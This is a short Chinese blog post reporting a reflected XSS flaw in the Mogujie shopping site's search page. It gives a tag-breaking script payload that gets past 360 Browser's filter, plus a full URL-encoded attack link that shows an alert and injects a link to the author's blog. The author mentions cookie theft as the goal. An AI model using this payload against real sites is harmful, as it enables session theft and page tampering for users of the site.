您的足迹:首页 > 原创技术 >蘑菇街存在xss 突破360浏览器进行弹窗

蘑菇街存在xss 突破360浏览器进行弹窗


如图,蘑菇街。先搜索123456,看下代码


2.png


源代码: 那么构造语句 先把标签闭合了,">

试试可不可以插入xss


3.png



5.png6.png


看来是可以插入,但是为什么360浏览器不弹窗呢,,,360浏览器不弹窗那么获取cookie的难度就上升了啊。现在大部分人都没用火狐浏览器吧


经过我多次实验,终于进行了弹窗。。

代码:




"><<script>alert("浩神真帅么么哒");//<</script>



7.png


地址  :http://list.mogujie.com/s?q=%22%3E%3C%3Cscript%3Ealert(%22%E6%B5%A9%E7%A5%9E%E7%9C%9F%E5%B8%85%E4%B9%88%E4%B9%88%E5%93%92%22)%3B%2F%2F%3C%3C%2Fscript%3E%3CBr%20%2F%3E%3CBr%20%2F%3E%3CBr%20%2F%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.haohacker.com%2F%22%3E%3Ch1%3E%E5%87%BB%E8%BF%9B%E5%85%A5%E6%B5%A9%E7%A5%9E%E5%8D%9A%E5%AE%A2%3C%2Fh1%3E%3C%2Fa%3E&ptp=1.eW5XD.0.0.bF7XI

本博客所有文章如无特别注明均为原创。作者:浩神复制或转载请以超链接形式注明转自 浩神博客
原文地址《蘑菇街存在xss 突破360浏览器进行弹窗

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(2)

404啊
MeathaT 2个月前 (2017-10-04) 回复
黑客
南柯一梦 7个月前 (2017-04-23) 回复

© Emlog大前端浩神修改版 theme By 浩神